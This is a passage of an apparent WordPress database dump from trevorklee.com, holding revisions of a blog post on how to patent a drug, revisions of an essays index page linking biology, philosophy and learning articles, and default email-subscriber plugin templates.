patent language.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then submit it to your patent lawyer. Ideally, you\'ll only have some minor back and forth after this. Unfortunately, minor back and forths still cost a lot of money, so you\'ll end up spending like $15k. Still, that\'s less than if you used them for everything!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Your patent\'s only worth what you can sue over.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is probably the most important part of patents, and the part that\'s least frequently understood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only way to enforce a patent is by suing people. Any patent that would be difficult to enforce by suing is not worth having.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For drug patents, that especially applies to use patents. I see patents on use all the time that would literally be impossible to enforce by suing. For example, if you try to patent a method of prescribing a common drug, you may, in fact, get that patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, given that the only way of enforcing that patent would be to sue the doctors who prescribe the drug, it\'s probably not a patent worth getting. Imagine the headlines: \"Pharma company sues doctors helping patients!\"</p>\n<!-- /wp:paragraph -->','So, you want to patent a drug. Here\'s what you need to know.','','inherit','closed','closed','','203-revision-v1','','','2021-09-21 15:02:19','2021-09-21 15:02:19','',203,'https://trevorklee.com/?p=205',0,'revision','',0),
(206,1,'2021-09-21 16:10:53','2021-09-21 16:10:53','<!-- wp:paragraph -->\n<p>If you ever want to release a pharmaceutical to the public, you\'ll need to patent it. If you don\'t patent your drug, someone else will copy it and release it for cheaper, and all of the effort you spent on clinical trials will be coopted by your imitator. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, unlike the software industry, you can\'t solve this problem by iterating more quickly than your competition. The FDA will need you to go through years of clinical trials before they allow you to release a new drug, or even a new form of your drug. Whatever drug form you submit to the FDA is the one you\'re stuck with releasing to the public; there\'s no such thing as a MVP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, the process of writing and filing a patent is non-obvious, if you\'ll forgive my unfunny joke. I know this because I just successfully filed my first drug patent for my biotech startup, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a> (side note: interested in development of therapies for autoimmune or neurodegenerative diseases? Reach out!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s what I wish I knew when I started my journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Your patentable idea needs to be novel, non-obvious, and concrete.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These three criteria are the three most fundamental criteria of any patent and the most frequently misunderstood. They are very stringent standards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First: novelty. A novel idea is one that <em>nobody</em> has ever thought of before. That means that there\'s nothing whatsoever in the literature about it. If some scientist in the Discussion of a random paper mentioned your idea, it\'s no longer patentable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next: non-obvious. The full phrase is \"non-obvious to a skilled practitioner of the art\", or, as I like to think of it, <em>surprising.</em> Your idea needs to be one that an expert would be surprised to hear that you invented it/made it work. The judgment on what\'s surprising is up to your patent examiner, but it\'s usually easiest if you can find papers by experts that would seem to suggest your idea is impossible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally: concrete. This is a weird one for pharma. Most pharma patents say, \"This drug cures this disease,\" but it\'s basically impossible to actually have concrete evidence for that, as in-human trials come way after patents in standard pharma development. So, the patent office has very weak standards for \"concrete\" evidence. You just need to have an experiment that vaguely supports your idea, and that\'s generally good enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, unlike other fields, the hardest part about a drug patent is the novelty, and that\'s where most patents fail. There are a lot of pharma papers, and it\'s very tough to find an idea that hasn\'t been done before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-obvious is the next toughest thing. This can usually be figured out if you think hard enough about what could be seen as surprising with your drug, though. If it\'s novel, it\'s probably surprising.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, once you have those two, the concrete evidence is generally a walk in the park.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Get a provisional patent as soon as you come up with an idea.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not many people are aware of this, but the US has kind of a neat system when it comes to patents. Like almost all countries, the US has a \"first-to-file\" system: the first person to file a patent for an invention in the US is granted the invention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unlike most countries, however, the US also has a provisional patent system. This means if you come up with an idea that you\'d like to patent, but you haven\'t finished your experiment yet, you can file a provisional patent instead. This counts as your filing date, as long as you submit a formal, completed patent within a year of filing the provisional patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only this is helpful to prevent someone from scooping your idea, it\'s also very helpful if you want to employ someone else to do the experiment for your patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re a non-institutional inventor like me, you are almost certainly going to need to employ a contract research organization (CRO) to carry out your patent-enabling experiment. Having a provisional patent in place prevents anyone affiliated with the CRO from scooping your idea, along with the NDA that you\'ll presumably have them sign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Get a patent lawyer who specializes in drug patents, but don\'t have them write the whole patent.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Drug patents are, of course, really technical documents. They are also strangely and specifically written. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You will not be able to write one all on your own. You need an expert, preferably one with a PhD and a JD, or at least a JD and published papers. However, unless you\'re rich, you will not be able to have a patent lawyer write your whole patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My advice, then, is to write the first draft of your patent yourself. The best way to do that is to find a drug you\'re interested in, go to patents.google.com, and find the patent for that drug. Then copy as much of the format and wording of that patent as possible for your drug. Don\'t worry about plagiarism: nobody\'s copyrighting patent language.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then submit it to your patent lawyer. Ideally, you\'ll only have some minor back and forth after this. Unfortunately, minor back and forths still cost a lot of money, so you\'ll end up spending like $15k. Still, that\'s less than if you used them for everything!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Your patent\'s only worth what you can sue over.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is probably the least frequently understood part of patents, even by biotech people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only way to enforce a patent is by suing people. Any patent that would be difficult to enforce by suing is not worth having.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For drug patents, that especially applies to use patents. I see patents on use all the time that would literally be impossible to enforce by suing. For example, if you try to patent a method of prescribing a common drug, you may, in fact, get that patent. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, given that the only way of enforcing that patent would be to sue the doctors who prescribe the drug, it\'s probably not a patent worth getting. Imagine the headlines: \"Pharma company sues doctors helping patients!\"</p>\n<!-- /wp:paragraph -->','So, you want to patent a drug. Here\'s what you need to know.','','inherit','closed','closed','','203-revision-v1','','','2021-09-21 16:10:53','2021-09-21 16:10:53','',203,'https://trevorklee.com/?p=206',0,'revision','',0),
(208,1,'2021-09-24 13:55:31','2021-09-24 13:55:31','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-09-24 13:55:31','2021-09-24 13:55:31','',22,'https://trevorklee.com/?p=208',0,'revision','',0),
(209,1,'2021-10-07 15:48:23','2021-10-07 15:48:23','<strong style=\"color: #990000\">What can you achieve using Email Subscribers?</strong><p>Add subscription forms on website, send HTML newsletters. You can also Import or Export subscribers from any list to Email Subscribers.</p> <strong style=\"color: #990000\">Plugin Features</strong><ol> <li>Send notification emails to subscribers when new blog posts are published.</li> <li>Subscribe form available with 3 options to setup.</li> <li>Double Opt-In and Single Opt-In support.</li> <li>Email notification to admin when a new user signs up (Optional).</li> <li>Automatic welcome email to subscriber.</li> <li>Auto add unsubscribe link in the email.</li> <li>Import/Export subscriber emails to migrate to any lists.</li> <li>Default WordPress editor to create emails.</li> </ol> <strong>Thanks & Regards,</strong><br/>Admin<br/>','Welcome To Email Subscribers','','publish','closed','closed','','welcome-to-email-subscribers','','','2021-10-07 15:48:23','2021-10-07 15:48:23','',0,'https://trevorklee.com/es_template/welcome-to-email-subscribers/',0,'es_template','',0),
(210,1,'2021-10-07 15:48:23','2021-10-07 15:48:23','Hello {{NAME}},\r\n\r\nWe have published a new blog article on our website : {{POSTTITLE}}\r\n{{POSTIMAGE}}\r\n\r\nYou can view it from this link : {{POSTLINK}}\r\n\r\nThanks & Regards,\r\nAdmin\r\n\r\nYou received this email because in the past you have provided us your email address : {{EMAIL}} to receive notifications when new updates are posted.','New Post Published - {{POSTTITLE}}','','publish','closed','closed','','new-post-published-posttitle','','','2021-10-07 15:48:23','2021-10-07 15:48:23','',0,'https://trevorklee.com/es_template/new-post-published-posttitle/',0,'es_template','',0),
(215,1,'2021-10-07 16:02:53','2021-10-07 16:02:53','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 